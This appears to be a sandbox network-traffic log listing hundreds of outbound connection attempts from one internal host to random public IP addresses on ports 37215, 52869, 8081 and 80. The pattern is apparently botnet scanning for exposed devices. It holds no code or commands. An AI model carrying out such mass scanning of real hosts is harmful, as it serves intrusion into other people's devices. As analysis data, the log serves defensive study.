Jul 20, 2024 23:05:43.344760895 CEST	38060	8081	192.168.2.13	129.234.53.71
Jul 20, 2024 23:05:43.346707106 CEST	38322	8081	192.168.2.13	129.234.53.71
Jul 20, 2024 23:05:43.346929073 CEST	45182	80	192.168.2.13	95.185.121.56
Jul 20, 2024 23:05:43.348093987 CEST	36642	8081	192.168.2.13	100.189.148.44
Jul 20, 2024 23:05:43.348093987 CEST	36642	8081	192.168.2.13	100.189.148.44
Jul 20, 2024 23:05:43.349046946 CEST	36904	8081	192.168.2.13	100.189.148.44
Jul 20, 2024 23:05:43.350060940 CEST	54004	80	192.168.2.13	95.83.248.117
Jul 20, 2024 23:05:43.350769043 CEST	50424	8081	192.168.2.13	32.17.126.48
Jul 20, 2024 23:05:43.350769043 CEST	50424	8081	192.168.2.13	32.17.126.48
Jul 20, 2024 23:05:43.352421999 CEST	50686	8081	192.168.2.13	32.17.126.48
Jul 20, 2024 23:05:43.353548050 CEST	52590	80	192.168.2.13	95.25.159.84
Jul 20, 2024 23:05:43.354022026 CEST	45274	8081	192.168.2.13	115.217.160.85
Jul 20, 2024 23:05:43.354022026 CEST	45274	8081	192.168.2.13	115.217.160.85
Jul 20, 2024 23:05:43.355079889 CEST	45536	8081	192.168.2.13	115.217.160.85
Jul 20, 2024 23:05:43.356370926 CEST	50834	8081	192.168.2.13	36.176.160.146
Jul 20, 2024 23:05:43.356370926 CEST	50834	8081	192.168.2.13	36.176.160.146
Jul 20, 2024 23:05:43.356502056 CEST	58310	80	192.168.2.13	95.111.165.44
Jul 20, 2024 23:05:43.358452082 CEST	51096	8081	192.168.2.13	36.176.160.146
Jul 20, 2024 23:05:43.359906912 CEST	36072	8081	192.168.2.13	93.210.42.24
Jul 20, 2024 23:05:43.359906912 CEST	36072	8081	192.168.2.13	93.210.42.24
Jul 20, 2024 23:05:43.360193968 CEST	56812	80	192.168.2.13	95.5.44.224
Jul 20, 2024 23:05:43.360868931 CEST	36212	8081	192.168.2.13	93.210.42.24
Jul 20, 2024 23:05:43.363461971 CEST	33886	80	192.168.2.13	95.198.148.102
Jul 20, 2024 23:05:43.366173983 CEST	59026	80	192.168.2.13	95.27.149.121
Jul 20, 2024 23:05:43.368165016 CEST	49232	80	192.168.2.13	95.36.83.126
Jul 20, 2024 23:05:43.370251894 CEST	58504	80	192.168.2.13	95.17.196.163
Jul 20, 2024 23:05:43.373354912 CEST	36106	80	192.168.2.13	95.239.165.65
Jul 20, 2024 23:05:43.375865936 CEST	33324	80	192.168.2.13	95.39.245.20
Jul 20, 2024 23:05:43.377675056 CEST	39158	80	192.168.2.13	95.115.29.222
Jul 20, 2024 23:05:43.379547119 CEST	42396	80	192.168.2.13	95.10.224.195
Jul 20, 2024 23:05:43.382148981 CEST	51992	80	192.168.2.13	95.239.206.180
Jul 20, 2024 23:05:43.384310007 CEST	58496	80	192.168.2.13	95.172.181.119
Jul 20, 2024 23:05:43.384742975 CEST	36072	8081	192.168.2.13	93.210.42.24
Jul 20, 2024 23:05:43.386336088 CEST	57844	80	192.168.2.13	95.221.74.36
Jul 20, 2024 23:05:43.388300896 CEST	60306	80	192.168.2.13	95.143.222.132
Jul 20, 2024 23:05:43.390578032 CEST	37016	80	192.168.2.13	95.184.164.197
Jul 20, 2024 23:05:43.392563105 CEST	34638	80	192.168.2.13	95.70.3.199
Jul 20, 2024 23:05:43.395411015 CEST	48202	80	192.168.2.13	95.82.40.159
Jul 20, 2024 23:05:43.397576094 CEST	48478	80	192.168.2.13	95.26.106.67
Jul 20, 2024 23:05:43.400680065 CEST	56544	80	192.168.2.13	95.49.113.148
Jul 20, 2024 23:05:43.403351068 CEST	43532	80	192.168.2.13	95.76.135.22
Jul 20, 2024 23:05:43.405534983 CEST	45774	80	192.168.2.13	95.30.65.188
Jul 20, 2024 23:05:43.407335043 CEST	44674	80	192.168.2.13	95.134.175.82
Jul 20, 2024 23:05:43.409692049 CEST	59526	80	192.168.2.13	95.151.244.207
Jul 20, 2024 23:05:43.411919117 CEST	35932	80	192.168.2.13	95.86.136.151
Jul 20, 2024 23:05:43.415083885 CEST	58718	80	192.168.2.13	95.30.192.216
Jul 20, 2024 23:05:43.417433977 CEST	37122	80	192.168.2.13	95.136.84.40
Jul 20, 2024 23:05:43.419405937 CEST	40226	80	192.168.2.13	95.155.207.83
Jul 20, 2024 23:05:43.421349049 CEST	33502	80	192.168.2.13	95.151.14.251
Jul 20, 2024 23:05:43.423358917 CEST	35968	80	192.168.2.13	95.194.121.234
Jul 20, 2024 23:05:43.425154924 CEST	52106	80	192.168.2.13	95.146.16.103
Jul 20, 2024 23:05:43.427139997 CEST	43100	80	192.168.2.13	95.50.4.30
Jul 20, 2024 23:05:43.447354078 CEST	50968	80	192.168.2.13	95.114.134.52
Jul 20, 2024 23:05:43.452869892 CEST	44719	37215	192.168.2.13	157.163.110.17
Jul 20, 2024 23:05:43.452869892 CEST	44719	37215	192.168.2.13	197.38.60.45
Jul 20, 2024 23:05:43.452869892 CEST	44719	37215	192.168.2.13	41.166.221.172
Jul 20, 2024 23:05:43.455126047 CEST	44719	37215	192.168.2.13	89.97.7.223
Jul 20, 2024 23:05:43.455126047 CEST	44719	37215	192.168.2.13	157.168.102.178
Jul 20, 2024 23:05:43.455126047 CEST	44719	37215	192.168.2.13	157.116.62.195
Jul 20, 2024 23:05:43.455126047 CEST	44719	37215	192.168.2.13	63.83.149.121
Jul 20, 2024 23:05:43.455126047 CEST	44719	37215	192.168.2.13	52.192.132.102
Jul 20, 2024 23:05:43.455126047 CEST	44719	37215	192.168.2.13	41.166.208.82
Jul 20, 2024 23:05:43.455126047 CEST	44719	37215	192.168.2.13	41.199.184.127
Jul 20, 2024 23:05:43.455126047 CEST	44719	37215	192.168.2.13	12.193.234.170
Jul 20, 2024 23:05:43.455905914 CEST	44719	37215	192.168.2.13	41.189.155.19
Jul 20, 2024 23:05:43.455905914 CEST	44719	37215	192.168.2.13	197.248.18.125
Jul 20, 2024 23:05:43.455905914 CEST	44719	37215	192.168.2.13	157.120.68.241
Jul 20, 2024 23:05:43.455905914 CEST	44719	37215	192.168.2.13	195.86.54.154
Jul 20, 2024 23:05:43.455905914 CEST	44719	37215	192.168.2.13	197.204.86.68
Jul 20, 2024 23:05:43.455905914 CEST	44719	37215	192.168.2.13	197.248.203.139
Jul 20, 2024 23:05:43.455905914 CEST	44719	37215	192.168.2.13	4.222.238.213
Jul 20, 2024 23:05:43.455905914 CEST	44719	37215	192.168.2.13	197.243.43.53
Jul 20, 2024 23:05:43.456404924 CEST	44719	37215	192.168.2.13	197.164.234.103
Jul 20, 2024 23:05:43.456404924 CEST	44719	37215	192.168.2.13	41.62.108.235
Jul 20, 2024 23:05:43.456404924 CEST	44719	37215	192.168.2.13	112.51.105.5
Jul 20, 2024 23:05:43.456404924 CEST	44719	37215	192.168.2.13	157.44.153.97
Jul 20, 2024 23:05:43.456406116 CEST	44719	37215	192.168.2.13	41.101.22.229
Jul 20, 2024 23:05:43.456406116 CEST	44719	37215	192.168.2.13	41.195.213.199
Jul 20, 2024 23:05:43.456406116 CEST	44719	37215	192.168.2.13	157.27.189.109
Jul 20, 2024 23:05:43.456907988 CEST	44719	37215	192.168.2.13	41.58.87.142
Jul 20, 2024 23:05:43.456907988 CEST	44719	37215	192.168.2.13	134.117.20.4
Jul 20, 2024 23:05:43.456907988 CEST	44719	37215	192.168.2.13	174.50.31.231
Jul 20, 2024 23:05:43.456907988 CEST	44719	37215	192.168.2.13	191.78.129.32
Jul 20, 2024 23:05:43.459441900 CEST	44719	37215	192.168.2.13	41.35.231.73
Jul 20, 2024 23:05:43.459441900 CEST	44719	37215	192.168.2.13	157.37.149.225
Jul 20, 2024 23:05:43.459441900 CEST	44719	37215	192.168.2.13	157.195.210.33
Jul 20, 2024 23:05:43.459441900 CEST	44719	37215	192.168.2.13	165.110.203.155
Jul 20, 2024 23:05:43.459441900 CEST	44719	37215	192.168.2.13	197.142.245.3
Jul 20, 2024 23:05:43.460805893 CEST	44719	37215	192.168.2.13	197.169.205.203
Jul 20, 2024 23:05:43.460805893 CEST	44719	37215	192.168.2.13	197.203.254.88
Jul 20, 2024 23:05:43.460805893 CEST	44719	37215	192.168.2.13	41.211.96.69
Jul 20, 2024 23:05:43.460805893 CEST	44719	37215	192.168.2.13	115.124.30.25
Jul 20, 2024 23:05:43.460805893 CEST	44719	37215	192.168.2.13	91.106.89.196
Jul 20, 2024 23:05:43.460805893 CEST	44719	37215	192.168.2.13	197.177.217.240
Jul 20, 2024 23:05:43.460805893 CEST	44719	37215	192.168.2.13	197.19.30.2
Jul 20, 2024 23:05:43.460807085 CEST	44719	37215	192.168.2.13	197.99.191.32
Jul 20, 2024 23:05:43.461312056 CEST	44719	37215	192.168.2.13	71.29.10.6
Jul 20, 2024 23:05:43.461312056 CEST	44719	37215	192.168.2.13	157.77.35.15
Jul 20, 2024 23:05:43.461312056 CEST	44719	37215	192.168.2.13	197.228.9.181
Jul 20, 2024 23:05:43.461312056 CEST	44719	37215	192.168.2.13	157.221.20.7
Jul 20, 2024 23:05:43.461312056 CEST	44719	37215	192.168.2.13	27.97.182.214
Jul 20, 2024 23:05:43.461312056 CEST	44719	37215	192.168.2.13	197.18.238.74
Jul 20, 2024 23:05:43.461312056 CEST	44719	37215	192.168.2.13	197.219.0.80
Jul 20, 2024 23:05:43.461312056 CEST	44719	37215	192.168.2.13	206.65.197.101
Jul 20, 2024 23:05:43.461858988 CEST	44719	37215	192.168.2.13	157.136.196.45
Jul 20, 2024 23:05:43.461858988 CEST	44719	37215	192.168.2.13	157.55.21.62
Jul 20, 2024 23:05:43.461858988 CEST	44719	37215	192.168.2.13	45.172.31.176
Jul 20, 2024 23:05:43.461858988 CEST	44719	37215	192.168.2.13	157.231.8.243
Jul 20, 2024 23:05:43.461858988 CEST	44719	37215	192.168.2.13	197.153.119.252
Jul 20, 2024 23:05:43.461859941 CEST	44719	37215	192.168.2.13	197.212.97.34
Jul 20, 2024 23:05:43.461859941 CEST	44719	37215	192.168.2.13	223.206.28.225
Jul 20, 2024 23:05:43.461859941 CEST	44719	37215	192.168.2.13	197.247.145.60
Jul 20, 2024 23:05:43.462389946 CEST	44719	37215	192.168.2.13	41.180.181.226
Jul 20, 2024 23:05:43.462389946 CEST	44719	37215	192.168.2.13	41.236.102.167
Jul 20, 2024 23:05:43.462943077 CEST	44719	37215	192.168.2.13	197.81.9.42
Jul 20, 2024 23:05:43.462943077 CEST	44719	37215	192.168.2.13	157.117.152.206
Jul 20, 2024 23:05:43.462943077 CEST	44719	37215	192.168.2.13	108.64.120.4
Jul 20, 2024 23:05:43.462943077 CEST	44719	37215	192.168.2.13	41.22.196.236
Jul 20, 2024 23:05:43.462943077 CEST	44719	37215	192.168.2.13	144.50.128.254
Jul 20, 2024 23:05:43.462943077 CEST	44719	37215	192.168.2.13	41.96.140.43
Jul 20, 2024 23:05:43.462943077 CEST	44719	37215	192.168.2.13	197.158.161.255
Jul 20, 2024 23:05:43.463520050 CEST	44719	37215	192.168.2.13	197.151.5.99
Jul 20, 2024 23:05:43.463520050 CEST	44719	37215	192.168.2.13	41.172.40.25
Jul 20, 2024 23:05:43.463520050 CEST	44719	37215	192.168.2.13	145.164.204.137
Jul 20, 2024 23:05:43.463520050 CEST	44719	37215	192.168.2.13	121.95.140.123
Jul 20, 2024 23:05:43.463520050 CEST	44719	37215	192.168.2.13	157.255.186.53
Jul 20, 2024 23:05:43.463520050 CEST	44719	37215	192.168.2.13	192.124.50.61
Jul 20, 2024 23:05:43.463520050 CEST	44719	37215	192.168.2.13	186.219.109.51
Jul 20, 2024 23:05:43.463520050 CEST	44719	37215	192.168.2.13	41.156.184.169
Jul 20, 2024 23:05:43.463614941 CEST	44719	37215	192.168.2.13	157.76.12.119
Jul 20, 2024 23:05:43.463614941 CEST	44719	37215	192.168.2.13	41.169.74.163
Jul 20, 2024 23:05:43.464056969 CEST	44719	37215	192.168.2.13	166.105.157.19
Jul 20, 2024 23:05:43.464056969 CEST	44719	37215	192.168.2.13	41.15.253.221
Jul 20, 2024 23:05:43.464056969 CEST	44719	37215	192.168.2.13	157.116.95.7
Jul 20, 2024 23:05:43.464056969 CEST	44719	37215	192.168.2.13	157.189.127.218
Jul 20, 2024 23:05:43.464056969 CEST	44719	37215	192.168.2.13	197.90.187.218
Jul 20, 2024 23:05:43.464056969 CEST	44719	37215	192.168.2.13	197.211.139.154
Jul 20, 2024 23:05:43.464056969 CEST	44719	37215	192.168.2.13	197.38.187.35
Jul 20, 2024 23:05:43.464056969 CEST	44719	37215	192.168.2.13	111.65.179.96
Jul 20, 2024 23:05:43.464623928 CEST	44719	37215	192.168.2.13	197.244.78.99
Jul 20, 2024 23:05:43.464623928 CEST	44719	37215	192.168.2.13	41.84.213.46
Jul 20, 2024 23:05:43.464623928 CEST	44719	37215	192.168.2.13	32.90.4.32
Jul 20, 2024 23:05:43.464623928 CEST	44719	37215	192.168.2.13	41.173.78.130
Jul 20, 2024 23:05:43.464623928 CEST	44719	37215	192.168.2.13	157.147.59.60
Jul 20, 2024 23:05:43.464623928 CEST	44719	37215	192.168.2.13	41.23.223.104
Jul 20, 2024 23:05:43.464623928 CEST	44719	37215	192.168.2.13	92.36.25.236
Jul 20, 2024 23:05:43.464669943 CEST	44719	37215	192.168.2.13	41.101.145.191
Jul 20, 2024 23:05:43.464669943 CEST	44719	37215	192.168.2.13	37.234.99.161
Jul 20, 2024 23:05:43.464669943 CEST	44719	37215	192.168.2.13	41.5.59.32
Jul 20, 2024 23:05:43.464669943 CEST	44719	37215	192.168.2.13	157.107.248.38
Jul 20, 2024 23:05:43.464669943 CEST	44719	37215	192.168.2.13	41.198.164.117
Jul 20, 2024 23:05:43.464669943 CEST	44719	37215	192.168.2.13	44.171.241.23
Jul 20, 2024 23:05:43.464669943 CEST	44719	37215	192.168.2.13	41.128.226.57
Jul 20, 2024 23:05:43.464669943 CEST	44719	37215	192.168.2.13	157.149.252.54
Jul 20, 2024 23:05:43.464731932 CEST	44719	37215	192.168.2.13	197.172.54.205
Jul 20, 2024 23:05:43.464731932 CEST	44719	37215	192.168.2.13	157.2.151.90
Jul 20, 2024 23:05:43.464731932 CEST	44719	37215	192.168.2.13	41.60.209.210
Jul 20, 2024 23:05:43.464731932 CEST	44719	37215	192.168.2.13	136.107.92.11
Jul 20, 2024 23:05:43.464731932 CEST	44719	37215	192.168.2.13	41.113.181.100
Jul 20, 2024 23:05:43.464731932 CEST	44719	37215	192.168.2.13	41.199.11.194
Jul 20, 2024 23:05:43.464731932 CEST	44719	37215	192.168.2.13	88.11.232.255
Jul 20, 2024 23:05:43.465728045 CEST	44719	37215	192.168.2.13	197.128.236.2
Jul 20, 2024 23:05:43.465728045 CEST	44719	37215	192.168.2.13	41.247.83.121
Jul 20, 2024 23:05:43.465728045 CEST	44719	37215	192.168.2.13	186.151.11.189
Jul 20, 2024 23:05:43.465728045 CEST	44719	37215	192.168.2.13	196.191.7.200
Jul 20, 2024 23:05:43.466526031 CEST	44719	37215	192.168.2.13	41.190.71.241
Jul 20, 2024 23:05:43.466526031 CEST	44719	37215	192.168.2.13	197.5.6.138
Jul 20, 2024 23:05:43.466526031 CEST	44719	37215	192.168.2.13	174.151.10.205
Jul 20, 2024 23:05:43.466526031 CEST	44719	37215	192.168.2.13	157.198.117.42
Jul 20, 2024 23:05:43.466526031 CEST	44719	37215	192.168.2.13	41.109.73.137
Jul 20, 2024 23:05:43.466526031 CEST	44719	37215	192.168.2.13	107.94.218.208
Jul 20, 2024 23:05:43.466526031 CEST	44719	37215	192.168.2.13	41.185.162.42
Jul 20, 2024 23:05:43.467227936 CEST	44719	37215	192.168.2.13	157.19.78.216
Jul 20, 2024 23:05:43.467227936 CEST	44719	37215	192.168.2.13	197.159.192.112
Jul 20, 2024 23:05:43.467227936 CEST	44719	37215	192.168.2.13	111.53.163.147
Jul 20, 2024 23:05:43.467227936 CEST	44719	37215	192.168.2.13	197.17.54.113
Jul 20, 2024 23:05:43.467227936 CEST	44719	37215	192.168.2.13	39.102.197.30
Jul 20, 2024 23:05:43.467227936 CEST	44719	37215	192.168.2.13	157.16.82.82
Jul 20, 2024 23:05:43.467227936 CEST	44719	37215	192.168.2.13	41.160.82.18
Jul 20, 2024 23:05:43.468302011 CEST	43695	52869	192.168.2.13	116.152.21.19
Jul 20, 2024 23:05:43.468317986 CEST	44719	37215	192.168.2.13	41.135.182.144
Jul 20, 2024 23:05:43.468317986 CEST	44719	37215	192.168.2.13	157.163.226.171
Jul 20, 2024 23:05:43.468317986 CEST	44719	37215	192.168.2.13	83.121.211.25
Jul 20, 2024 23:05:43.468317986 CEST	44719	37215	192.168.2.13	83.44.65.68
Jul 20, 2024 23:05:43.468317986 CEST	44719	37215	192.168.2.13	114.46.14.97
Jul 20, 2024 23:05:43.468317986 CEST	44719	37215	192.168.2.13	197.68.9.108
Jul 20, 2024 23:05:43.468317986 CEST	44719	37215	192.168.2.13	157.205.60.158
Jul 20, 2024 23:05:43.468317986 CEST	44719	37215	192.168.2.13	197.230.219.248
Jul 20, 2024 23:05:43.468406916 CEST	43695	52869	192.168.2.13	69.105.43.224
Jul 20, 2024 23:05:43.468508005 CEST	43695	52869	192.168.2.13	218.85.189.134
Jul 20, 2024 23:05:43.468508005 CEST	43695	52869	192.168.2.13	66.56.180.47
Jul 20, 2024 23:05:43.468508005 CEST	43695	52869	192.168.2.13	202.24.112.193
Jul 20, 2024 23:05:43.468508005 CEST	43695	52869	192.168.2.13	133.11.131.85
Jul 20, 2024 23:05:43.468508005 CEST	43695	52869	192.168.2.13	24.35.223.32
Jul 20, 2024 23:05:43.469158888 CEST	43695	52869	192.168.2.13	144.242.91.152
Jul 20, 2024 23:05:43.469158888 CEST	43695	52869	192.168.2.13	54.54.215.85
Jul 20, 2024 23:05:43.469158888 CEST	43695	52869	192.168.2.13	221.37.81.113
Jul 20, 2024 23:05:43.469158888 CEST	43695	52869	192.168.2.13	91.7.71.144
Jul 20, 2024 23:05:43.469158888 CEST	43695	52869	192.168.2.13	201.57.227.248
Jul 20, 2024 23:05:43.469158888 CEST	43695	52869	192.168.2.13	171.51.95.169
Jul 20, 2024 23:05:43.469158888 CEST	43695	52869	192.168.2.13	49.95.69.134
Jul 20, 2024 23:05:43.471210957 CEST	44719	37215	192.168.2.13	197.64.13.247
Jul 20, 2024 23:05:43.471210957 CEST	44719	37215	192.168.2.13	41.251.158.242
Jul 20, 2024 23:05:43.471210957 CEST	44719	37215	192.168.2.13	41.153.74.23
Jul 20, 2024 23:05:43.471210957 CEST	44719	37215	192.168.2.13	157.55.96.77
Jul 20, 2024 23:05:43.471210957 CEST	44719	37215	192.168.2.13	157.27.110.47
Jul 20, 2024 23:05:43.471210957 CEST	44719	37215	192.168.2.13	105.176.207.17
Jul 20, 2024 23:05:43.471210957 CEST	44719	37215	192.168.2.13	96.176.234.99
Jul 20, 2024 23:05:43.471210957 CEST	44719	37215	192.168.2.13	41.62.28.0
Jul 20, 2024 23:05:43.471308947 CEST	44719	37215	192.168.2.13	41.147.253.36
Jul 20, 2024 23:05:43.471308947 CEST	44719	37215	192.168.2.13	157.198.201.237
Jul 20, 2024 23:05:43.471308947 CEST	44719	37215	192.168.2.13	197.234.141.118
Jul 20, 2024 23:05:43.471308947 CEST	44719	37215	192.168.2.13	197.121.57.149
Jul 20, 2024 23:05:43.471308947 CEST	44719	37215	192.168.2.13	182.227.85.132
Jul 20, 2024 23:05:43.471308947 CEST	44719	37215	192.168.2.13	41.239.240.169
Jul 20, 2024 23:05:43.471308947 CEST	44719	37215	192.168.2.13	157.19.102.202
Jul 20, 2024 23:05:43.471309900 CEST	44719	37215	192.168.2.13	217.130.211.147
Jul 20, 2024 23:05:43.471405029 CEST	43695	52869	192.168.2.13	73.83.129.52
Jul 20, 2024 23:05:43.471405029 CEST	43695	52869	192.168.2.13	45.140.34.131
Jul 20, 2024 23:05:43.471405029 CEST	43695	52869	192.168.2.13	88.180.193.189
Jul 20, 2024 23:05:43.471405029 CEST	43695	52869	192.168.2.13	89.229.96.227
Jul 20, 2024 23:05:43.471405029 CEST	43695	52869	192.168.2.13	209.76.121.16
Jul 20, 2024 23:05:43.471405029 CEST	43695	52869	192.168.2.13	100.11.251.147
Jul 20, 2024 23:05:43.471405029 CEST	43695	52869	192.168.2.13	204.151.222.243
Jul 20, 2024 23:05:43.471405983 CEST	43695	52869	192.168.2.13	79.205.6.73
Jul 20, 2024 23:05:43.471590996 CEST	44719	37215	192.168.2.13	194.186.195.245
Jul 20, 2024 23:05:43.471590996 CEST	44719	37215	192.168.2.13	157.173.225.105
Jul 20, 2024 23:05:43.471590996 CEST	44719	37215	192.168.2.13	73.245.214.213
Jul 20, 2024 23:05:43.471590996 CEST	44719	37215	192.168.2.13	197.185.41.11
Jul 20, 2024 23:05:43.471590996 CEST	44719	37215	192.168.2.13	41.17.205.181
Jul 20, 2024 23:05:43.471590996 CEST	44719	37215	192.168.2.13	41.10.13.80
Jul 20, 2024 23:05:43.471590996 CEST	44719	37215	192.168.2.13	157.193.19.60
Jul 20, 2024 23:05:43.471590996 CEST	44719	37215	192.168.2.13	41.119.57.188
Jul 20, 2024 23:05:43.472836971 CEST	44719	37215	192.168.2.13	41.251.91.37
Jul 20, 2024 23:05:43.472836971 CEST	44719	37215	192.168.2.13	137.106.194.233
Jul 20, 2024 23:05:43.472836971 CEST	44719	37215	192.168.2.13	197.206.205.116
Jul 20, 2024 23:05:43.472836971 CEST	44719	37215	192.168.2.13	157.187.94.235
Jul 20, 2024 23:05:43.472836971 CEST	44719	37215	192.168.2.13	41.26.125.214
Jul 20, 2024 23:05:43.472836971 CEST	44719	37215	192.168.2.13	130.152.83.27
Jul 20, 2024 23:05:43.472836971 CEST	44719	37215	192.168.2.13	14.66.120.173
Jul 20, 2024 23:05:43.472836971 CEST	44719	37215	192.168.2.13	157.123.122.208
Jul 20, 2024 23:05:43.472937107 CEST	43695	52869	192.168.2.13	208.163.164.82
Jul 20, 2024 23:05:43.472937107 CEST	43695	52869	192.168.2.13	164.51.132.82
Jul 20, 2024 23:05:43.472937107 CEST	43695	52869	192.168.2.13	213.165.138.87
Jul 20, 2024 23:05:43.472937107 CEST	43695	52869	192.168.2.13	99.108.185.126
Jul 20, 2024 23:05:43.472937107 CEST	43695	52869	192.168.2.13	207.218.32.154
Jul 20, 2024 23:05:43.474016905 CEST	43695	52869	192.168.2.13	152.28.25.87
Jul 20, 2024 23:05:43.474016905 CEST	43695	52869	192.168.2.13	191.150.24.178
Jul 20, 2024 23:05:43.474016905 CEST	43695	52869	192.168.2.13	12.97.161.224
Jul 20, 2024 23:05:43.474016905 CEST	43695	52869	192.168.2.13	158.179.179.134
Jul 20, 2024 23:05:43.474016905 CEST	43695	52869	192.168.2.13	201.47.131.105
Jul 20, 2024 23:05:43.474016905 CEST	43695	52869	192.168.2.13	181.255.207.126
Jul 20, 2024 23:05:43.474016905 CEST	43695	52869	192.168.2.13	121.40.224.141
Jul 20, 2024 23:05:43.475405931 CEST	44719	37215	192.168.2.13	187.232.79.235
Jul 20, 2024 23:05:43.475406885 CEST	44719	37215	192.168.2.13	41.166.4.73
Jul 20, 2024 23:05:43.475406885 CEST	44719	37215	192.168.2.13	41.139.123.50
Jul 20, 2024 23:05:43.475406885 CEST	44719	37215	192.168.2.13	197.64.154.239
Jul 20, 2024 23:05:43.475406885 CEST	44719	37215	192.168.2.13	197.218.198.120
Jul 20, 2024 23:05:43.475406885 CEST	44719	37215	192.168.2.13	199.12.191.141
Jul 20, 2024 23:05:43.475406885 CEST	44719	37215	192.168.2.13	41.222.93.17
Jul 20, 2024 23:05:43.475406885 CEST	44719	37215	192.168.2.13	41.49.165.105
Jul 20, 2024 23:05:43.476499081 CEST	44719	37215	192.168.2.13	25.13.139.251
Jul 20, 2024 23:05:43.476499081 CEST	44719	37215	192.168.2.13	157.66.96.178
Jul 20, 2024 23:05:43.476499081 CEST	44719	37215	192.168.2.13	213.65.11.119
Jul 20, 2024 23:05:43.476499081 CEST	44719	37215	192.168.2.13	41.122.228.58
Jul 20, 2024 23:05:43.476499081 CEST	44719	37215	192.168.2.13	157.103.51.121
Jul 20, 2024 23:05:43.476499081 CEST	44719	37215	192.168.2.13	41.25.235.38
Jul 20, 2024 23:05:43.476499081 CEST	43695	52869	192.168.2.13	132.202.135.105
Jul 20, 2024 23:05:43.476499081 CEST	43695	52869	192.168.2.13	222.232.85.126
Jul 20, 2024 23:05:43.477112055 CEST	43695	52869	192.168.2.13	184.130.127.255
Jul 20, 2024 23:05:43.477113008 CEST	43695	52869	192.168.2.13	152.180.207.159
Jul 20, 2024 23:05:43.477113008 CEST	43695	52869	192.168.2.13	210.123.181.64
Jul 20, 2024 23:05:43.477113008 CEST	43695	52869	192.168.2.13	131.82.186.16
Jul 20, 2024 23:05:43.477113008 CEST	43695	52869	192.168.2.13	124.62.99.179
Jul 20, 2024 23:05:43.477113008 CEST	43695	52869	192.168.2.13	124.82.81.245
Jul 20, 2024 23:05:43.477113008 CEST	43695	52869	192.168.2.13	142.17.9.107
Jul 20, 2024 23:05:43.477113008 CEST	43695	52869	192.168.2.13	161.26.252.231
Jul 20, 2024 23:05:43.478750944 CEST	43695	52869	192.168.2.13	155.180.4.142
Jul 20, 2024 23:05:43.478750944 CEST	43695	52869	192.168.2.13	47.63.70.148
Jul 20, 2024 23:05:43.478750944 CEST	43695	52869	192.168.2.13	159.113.67.133
Jul 20, 2024 23:05:43.478750944 CEST	43695	52869	192.168.2.13	8.26.166.115
Jul 20, 2024 23:05:43.478750944 CEST	43695	52869	192.168.2.13	140.200.212.4
Jul 20, 2024 23:05:43.478750944 CEST	43695	52869	192.168.2.13	36.180.172.129
Jul 20, 2024 23:05:43.478750944 CEST	43695	52869	192.168.2.13	9.157.253.43
Jul 20, 2024 23:05:43.478750944 CEST	43695	52869	192.168.2.13	216.170.149.142
Jul 20, 2024 23:05:43.478857994 CEST	44719	37215	192.168.2.13	157.64.148.103
Jul 20, 2024 23:05:43.478857994 CEST	44719	37215	192.168.2.13	197.164.0.147
Jul 20, 2024 23:05:43.478857994 CEST	44719	37215	192.168.2.13	155.34.222.31
Jul 20, 2024 23:05:43.478857994 CEST	43695	52869	192.168.2.13	39.125.186.30
Jul 20, 2024 23:05:43.478857994 CEST	43695	52869	192.168.2.13	174.212.226.218
Jul 20, 2024 23:05:43.478857994 CEST	43695	52869	192.168.2.13	36.175.152.119
Jul 20, 2024 23:05:43.479809999 CEST	44719	37215	192.168.2.13	41.134.249.120
Jul 20, 2024 23:05:43.479809999 CEST	44719	37215	192.168.2.13	41.233.21.101
Jul 20, 2024 23:05:43.479809999 CEST	44719	37215	192.168.2.13	41.253.146.19
Jul 20, 2024 23:05:43.479809999 CEST	44719	37215	192.168.2.13	160.109.118.62
Jul 20, 2024 23:05:43.479809999 CEST	44719	37215	192.168.2.13	197.106.191.68
Jul 20, 2024 23:05:43.479809999 CEST	44719	37215	192.168.2.13	197.237.67.218
Jul 20, 2024 23:05:43.479809999 CEST	44719	37215	192.168.2.13	41.52.37.126
Jul 20, 2024 23:05:43.479809999 CEST	44719	37215	192.168.2.13	84.100.167.241
Jul 20, 2024 23:05:43.481321096 CEST	43695	52869	192.168.2.13	201.207.194.113
Jul 20, 2024 23:05:43.481321096 CEST	43695	52869	192.168.2.13	171.175.125.48
Jul 20, 2024 23:05:43.481321096 CEST	43695	52869	192.168.2.13	87.167.166.47
Jul 20, 2024 23:05:43.481321096 CEST	43695	52869	192.168.2.13	128.255.75.211
Jul 20, 2024 23:05:43.481321096 CEST	43695	52869	192.168.2.13	168.43.241.117
Jul 20, 2024 23:05:43.481321096 CEST	43695	52869	192.168.2.13	101.43.55.189
Jul 20, 2024 23:05:43.481321096 CEST	43695	52869	192.168.2.13	140.65.230.187
Jul 20, 2024 23:05:43.481321096 CEST	43695	52869	192.168.2.13	42.245.31.185
Jul 20, 2024 23:05:43.481745958 CEST	43695	52869	192.168.2.13	141.217.12.95
Jul 20, 2024 23:05:43.481745958 CEST	43695	52869	192.168.2.13	46.11.237.6
Jul 20, 2024 23:05:43.481745958 CEST	43695	52869	192.168.2.13	103.1.126.231
Jul 20, 2024 23:05:43.481745958 CEST	43695	52869	192.168.2.13	133.33.156.239
Jul 20, 2024 23:05:43.481745958 CEST	43695	52869	192.168.2.13	180.120.206.166
Jul 20, 2024 23:05:43.481745958 CEST	43695	52869	192.168.2.13	68.117.140.90
Jul 20, 2024 23:05:43.481745958 CEST	43695	52869	192.168.2.13	182.22.144.109
Jul 20, 2024 23:05:43.481745958 CEST	43695	52869	192.168.2.13	209.20.9.196
Jul 20, 2024 23:05:43.482498884 CEST	43695	52869	192.168.2.13	147.70.160.211
Jul 20, 2024 23:05:43.482498884 CEST	43695	52869	192.168.2.13	44.60.208.210
Jul 20, 2024 23:05:43.482498884 CEST	43695	52869	192.168.2.13	179.173.15.230
Jul 20, 2024 23:05:43.482498884 CEST	43695	52869	192.168.2.13	20.233.99.215
Jul 20, 2024 23:05:43.482498884 CEST	43695	52869	192.168.2.13	97.19.195.199
Jul 20, 2024 23:05:43.482498884 CEST	43695	52869	192.168.2.13	122.255.181.150
Jul 20, 2024 23:05:43.482498884 CEST	43695	52869	192.168.2.13	223.18.198.247
Jul 20, 2024 23:05:43.482498884 CEST	43695	52869	192.168.2.13	196.143.92.220
Jul 20, 2024 23:05:43.483819962 CEST	43695	52869	192.168.2.13	196.21.230.80
Jul 20, 2024 23:05:43.483820915 CEST	43695	52869	192.168.2.13	32.127.37.55
Jul 20, 2024 23:05:43.483820915 CEST	43695	52869	192.168.2.13	83.45.89.207
